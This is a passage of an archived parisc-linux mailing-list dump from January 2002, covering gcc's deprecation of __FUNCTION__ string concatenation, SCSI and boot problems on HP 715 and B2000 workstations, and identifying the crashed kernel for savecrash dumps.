	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13848

This is worth repeating one more time.
Many of you are probably aware of this since parisc port has
already visited the __FUNCTION__ issue once before.

grant

------- Forwarded Message

From: David Mosberger <davidm@hpl.hp.com>
To: linux-ia64@linuxia64.org
X-URL: http://www.hpl.hp.com/personal/David_Mosberger/
Reply-To: davidm@hpl.hp.com
Subject: [Linux-ia64] heads-up: don't treat __FUNCTION__ as a constant

A heads-up about a change that's forthcoming in gcc3.1: the
__FUNCTION__ macro should no longer be treated as returning a constant
string literal.  gcc3.1 will still allow it, but issue an ugly warning
message.  In later releases, the feature will go away completely.

The reason for deprecating this feature is that ANSI C pretty much
disallows it: string literal concatenation is required to be done in a
phase *before* the name of the current function is known.  The
solution is to change something of the form:

	printk(__FUNCTION__": you lose\n");

into something like this:

	printk("%s: you lose\n", __FUNCTION__);

I did a quick grep over the ia64 code and found the following files
are using __FUNCTION__:

arch/ia64/kernel/efi.c
arch/ia64/kernel/palinfo.c
arch/ia64/kernel/perfmon.c
arch/ia64/kernel/smp.c
arch/ia64/kernel/unaligned.c
arch/ia64/sn/io/pci.c
arch/ia64/sn/io/pci_bus_cvlink.c
arch/ia64/sn/io/pciba.c
arch/ia64/sn/io/pciio.c
arch/ia64/sn/io/sn1/pcibr.c
arch/ia64/sn/io/sn2/ml_SN_intr.c
arch/ia64/sn/io/sn2/pcibr/pcibr_dvr.c

It might be a good idea to clean these up as you're working on it.
It's not urgent, of course, but I wanted to make you aware of this
issue so we can at least avoid writing new code using this construct.

Thanks,

	--david

_______________________________________________
Linux-IA64 mailing list
Linux-IA64@linuxia64.org
http://lists.linuxia64.org/lists/listinfo/linux-ia64


------- End of Forwarded Message




From - Thu Nov 08 21:21:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble installing 0.9.3 on 735/99
Date: Tue, 22 Jan 2002 13:55:57 -0900 (AKST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201221352470.18962-100000@goliath.alaskatech.org>
References: <20020122120548.M19637@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621002 1533 80.91.229.3 (22 Nov 2014 01:50:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:02 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	<parisc-linux@parisc-linux.org>
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 16:00:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 283A2482A
	for <parisc-linux@parisc-linux.org>; Tue, 22 Jan 2002 16:00:41 -0700 (MST)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GQD3WZ02.S76 for
          <parisc-linux@parisc-linux.org>; Tue, 22 Jan 2002 14:00:35 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GQD3X003.64W; Tue, 22 Jan 2002 14:00:36 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA18981;
	Tue, 22 Jan 2002 13:55:57 -0900
In-Reply-To: <20020122120548.M19637@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13849

On Tue, 22 Jan 2002, Carlos O'Donell Jr. wrote:
> I can't get any of the 715/50's to run stably with the newer
> SCSI driver. And after testing I can almost pinpoint with 95%
> accuracy tha it's the new driver.
>
> I have yet to go about running the latest kernel with the sim700
> driver. Though if I get some time this afternoon I will.
> (Just spent some time adding diskless 715/50's to our cluster)
>
> Has anyone been able to get SCSI disks that are not from HP
> to work on the 715's? (New terminator? Different terminator?)

I had a 1G HP /dev/sda and a 4G Micropolis /dev/sdb in my 715/100. Didn't
realize that HP actually expects you to terminate the unused ports on the
back until I was provided a link to my users manual :-) I also had to set
the drive's parity on, and enable the 'wait for start' command.

I also ran an IBM 4G DFHS-S4W drive on it initially. That was quite early
on in the process, though, so I had lots of crashes etc. that I don't know
were related to Debian/HPPA being 'alpha' software or due to the drive :-)






From - Thu Nov 08 21:21:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble installing 0.9.3 on 735/99
Date: Tue, 22 Jan 2002 18:55:30 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <20020122185530.A29342@daedalus.cs.brandeis.edu>
References: <20020122120548.M19637@systemhalted> <Pine.LNX.4.33.0201221352470.18962-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621003 1540 80.91.229.3 (22 Nov 2014 01:50:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:03 +0000 (UTC)
To: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 16:55:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from daedalus.cs.brandeis.edu (daedalus.cs.brandeis.edu [129.64.3.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id C26C3482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 16:55:33 -0700 (MST)
Original-Received: (from aaronm@localhost)
	by daedalus.cs.brandeis.edu (8.9.3/8.9.3) id SAA29349
	for parisc-linux@lists.parisc-linux.org; Tue, 22 Jan 2002 18:55:30 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.33.0201221352470.18962-100000@goliath.alaskatech.org>; from palinux@alaskatech.org on Tue, Jan 22, 2002 at 01:55:57PM -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13850

I've got stock 0.93 running on two 715/33's with:
COMPAQ C2247 (1gb scsi drives) and a seagate of recentish vintage(1gb
1/4 height from an SGI) in a 715/50
no problems
Aaron
On Tue, Jan 22, 2002 at 01:55:57PM -0900, Tom wrote:
> On Tue, 22 Jan 2002, Carlos O'Donell Jr. wrote:
> > I can't get any of the 715/50's to run stably with the newer
> > SCSI driver. And after testing I can almost pinpoint with 95%
> > accuracy tha it's the new driver.
> >
> > I have yet to go about running the latest kernel with the sim700
> > driver. Though if I get some time this afternoon I will.
> > (Just spent some time adding diskless 715/50's to our cluster)
> >
> > Has anyone been able to get SCSI disks that are not from HP
> > to work on the 715's? (New terminator? Different terminator?)
> 
> I had a 1G HP /dev/sda and a 4G Micropolis /dev/sdb in my 715/100. Didn't
> realize that HP actually expects you to terminate the unused ports on the
> back until I was provided a link to my users manual :-) I also had to set
> the drive's parity on, and enable the 'wait for start' command.
> 
> I also ran an IBM 4G DFHS-S4W drive on it initially. That was quite early
> on in the process, though, so I had lots of crashes etc. that I don't know
> were related to Debian/HPPA being 'alpha' software or due to the drive :-)
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:21:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Re]: B2000
Date: Tue, 22 Jan 2002 19:07:39 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20020123020740.518C5482A@dsl2.external.hp.com>
References: <1011726540.3c4db8cc712a9@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621003 1544 80.91.229.3 (22 Nov 2014 01:50:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, Hans.Witvliet@Alcatel.nl
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 19:07:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 518C5482A; Tue, 22 Jan 2002 19:07:40 -0700 (MST)
In-Reply-To: Message from jsoe0708@tiscali.be 
   of "Tue, 22 Jan 2002 20:09:00 +0100." <1011726540.3c4db8cc712a9@webmail.tiscalinet.be> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13851

jsoe0708@tiscali.be wrote:
> Hi all,
> 
> Just to relate an experience:
> 
> For my part, I just take the CD-0.9.3 and try to boot it with a B2000 and it
> failled also for me with similar messages if I use the STI buildin console.
> Well,... I disconnect ps/2 kbd and mouse and use a serial console (emulating
> vt100) and it boot correctly (with internal ide cdrom drive) at leat till the
>    2
> first Debian/GNU install dialog box.

Yes - and that's as far as it will go.
palo uses IODC ("BIOS") to load the vmlinux.
That vmlinux does not know how to talk to the IDE CD-ROM interface
and can't load anything else. One should be able to do a network
install but start out by booting the ISO image.

grant



From - Thu Nov 08 21:21:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Tue, 22 Jan 2002 19:13:18 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20020123021318.E6C6C482A@dsl2.external.hp.com>
References: <15417.3793.688638.629130@gargle.gargle.HOWL> <20020107034615.9BFD64839@dsl2.external.hp.com>  <E16T74R-0002Ko-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621004 1548 80.91.229.3 (22 Nov 2014 01:50:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 19:13:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id E6C6C482A; Tue, 22 Jan 2002 19:13:18 -0700 (MST)
In-Reply-To: Message from Paul Bame <bame@fc.hp.com> 
   of "Tue, 22 Jan 2002 12:59:03 MST." <E16T74R-0002Ko-00@noam.fc.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13852

Paul Bame wrote:
> 
> palo removes the "3/vmlinux" parameter (and the initrd= one too) before
> passing command line to the kernel which is consistent with x86 I think.
> Would it be helpful to add a kernel parameter like "palo_kernel=3/vmlinux"
> which you could then retrieve from /proc/cmdline?

Sort of. Actually, I was thinking the dump driver could use "palo_kernel"
global to save off the file name of the vmlinux which crashed.
setup_cmdline could parse/squirrel away the palo_kernel parameter.

> I know it's a pain
> to turn 3/vmlinux into /boot/vmlinux but 3/vmlinux is all palo knows.

Isn't /vmlinux a symlink to /boot/vmlinux?
ie the file palo loaded is whatever the symlink points to.

BTW, I explicitly specify /boot/vmlinux in my palo.conf files
and see 3/boot/vmlinux in my palo command line.

thanks,
grant



From - Thu Nov 08 21:21:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Re]: B2000
Date: Wed, 23 Jan 2002 07:53:31 +0100 (CET)
Lines: 29
Approved: news@gmane.org
Message-ID: <1011768811.3c4e5deb1fe45@webmail.tiscalinet.be>
References: <1011726540.3c4db8cc712a9@webmail.tiscalinet.be> <20020123020740.518C5482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621004 1553 80.91.229.3 (22 Nov 2014 01:50:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:04 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org,
	Hans.Witvliet@Alcatel.nl
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 22 23:53:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A1A4482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Jan 2002 23:53:36 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16THHn-0006lp-00; Wed, 23 Jan 2002 07:53:31 +0100
In-Reply-To: <20020123020740.518C5482A@dsl2.external.hp.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13853

Quoting Grant Grundler <grundler@dsl2.external.hp.com>:

> jsoe0708@tiscali.be wrote:
> > Hi all,
> > 
> > Just to relate an experience:
> > 
...
> palo uses IODC ("BIOS") to load the vmlinux.
> That vmlinux does not know how to talk to the IDE CD-ROM interface
> and can't load anything else. 

Ok I am ignoring this detail (sorry).

> One should be able to do a network
> install but start out by booting the ISO image.
> 
> grant
> 
Tanks for info,
        Joel

PS: I would not be able to help to improve ide drivers (sorry)


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:21:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Enrik Berkhan <Enrik.Berkhan@planb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Wed, 23 Jan 2002 09:57:06 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20020123095705.A8923@electra.intern.planb.de>
References: <15417.3793.688638.629130@gargle.gargle.HOWL> <20020107034615.9BFD64839@dsl2.external.hp.com> <E16T74R-0002Ko-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621004 1556 80.91.229.3 (22 Nov 2014 01:50:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 23 01:57:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.planb.de (aldebaran.planb.de [212.227.14.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB5A5482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jan 2002 01:57:07 -0700 (MST)
Original-Received: from electra.intern.planb.de (andromeda.planb.de [212.227.19.14])
	by mail.planb.de with esmtp 
	id 16TJDO-0007pP-00; Wed, 23 Jan 2002 09:57:06 +0100
Content-Disposition: inline
In-Reply-To: <E16T74R-0002Ko-00@noam.fc.hp.com>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13854

On Tue, Jan 22, 2002 at 12:59:03PM -0700, Paul Bame wrote:
> palo removes the "3/vmlinux" parameter (and the initrd= one too) before
> passing command line to the kernel which is consistent with x86 I think.
> Would it be helpful to add a kernel parameter like "palo_kernel=3/vmlinux"
> which you could then retrieve from /proc/cmdline?  I know it's a pain
> to turn 3/vmlinux into /boot/vmlinux but 3/vmlinux is all palo knows.

Hmm, so why don't let palo calculate a CRC32 or MD5 (if affordable)
over the image it is about to boot and pass this as parameter that will
be saved in the dump? This would be very independent of filesystem
changes in the time between boot and crash (e.g. installing a new kernel
moving everything around in /boot). This could also be done for an
initrd image if used. And it still works if you have more than one
kernel image with the same "version" lying around.

Enrik
-- 
Enrik Berkhan                                         plan b. GmbH
                                                      Rppurrer Strae 4
+49-721-388582 (voice)                                76137 Karlsruhe
+49-721-388581 (fax)                                  Germany



From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi 4369 <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Wed, 23 Jan 2002 10:29:45 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <3C4E8289.EB6C5FE6@hpfrcu81.france.hp.com>
References: <15417.3793.688638.629130@gargle.gargle.HOWL> <20020107034615.9BFD64839@dsl2.external.hp.com> <E16T74R-0002Ko-00@noam.fc.hp.com> <20020123095705.A8923@electra.intern.planb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621005 1559 80.91.229.3 (22 Nov 2014 01:50:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:05 +0000 (UTC)
To: Enrik Berkhan <Enrik.Berkhan@planb.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 23 02:30:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 03CD5482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jan 2002 02:30:45 -0700 (MST)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 6D6E24EF; Wed, 23 Jan 2002 10:30:42 +0100 (MET)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id KAA01141; Wed, 23 Jan 2002 10:29:45 +0100 (MET)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13855

> Hmm, so why don't let palo calculate a CRC32 or MD5 (if affordable)
> over the image it is about to boot and pass this as parameter that will
> be saved in the dump? This would be very independent of filesystem
> changes in the time between boot and crash (e.g. installing a new kernel
> moving everything around in /boot). This could also be done for an
> initrd image if used. And it still works if you have more than one
> kernel image with the same "version" lying around.
> 

Having the CRC at dump time doesn't add more than just the utsname (i.e the
uname -a if you wish) as the utsname does have the uniq signature of the os
version PLUS the build time. So it is not possible to have 2 kernel with the
exact same version AND the same build time if they are different, or not only
different but compiled at different time.

The problem afterward at next reboot (while the dump seat in the dump area,
often the swap area) and while sometime rebooting a recovery kernel, i.e not
the one that just dumped, is to run savescrah, and have savecrash placing the
core along with its accompagnying kernel (and the loaded module too, more on
that later).

Finding the kernel who crash assuming a signature, mean then a scan of all the
kernel we could find on the machime, with simple heuristic we could reduce
this to / and /boot, then compare the utsname (version build time) for each.
This is rather brute force and it will be our 1st implementation, until we can
find the boot kernel path probably given by palo as palo is the one that can
get interactivly any kernel path....

Ultimatly if we can't figure out what was the kernel who crashed, we can ask
interactivly :-(

Cheers,
Phi




--
mailto:Philippe_Benard@hp.com
WTEC HP-UX kernel debugging tools



From - Thu Nov 08 21:21:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] start physical address for 712/100
Date: Wed, 23 Jan 2002 10:36:47 +0100
Organization: H.P
Lines: 45
Approved: news@gmane.org
Message-ID: <3C4E842F.3D36290F@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------B43D8C2B794530EA42C1540C"
X-Trace: ger.gmane.org 1416621005 1561 80.91.229.3 (22 Nov 2014 01:50:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:05 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 23 02:39:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19B4B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jan 2002 02:39:50 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 79D4B2B0
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jan 2002 10:39:48 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id KAA15105 for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jan 2002 10:39:14 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
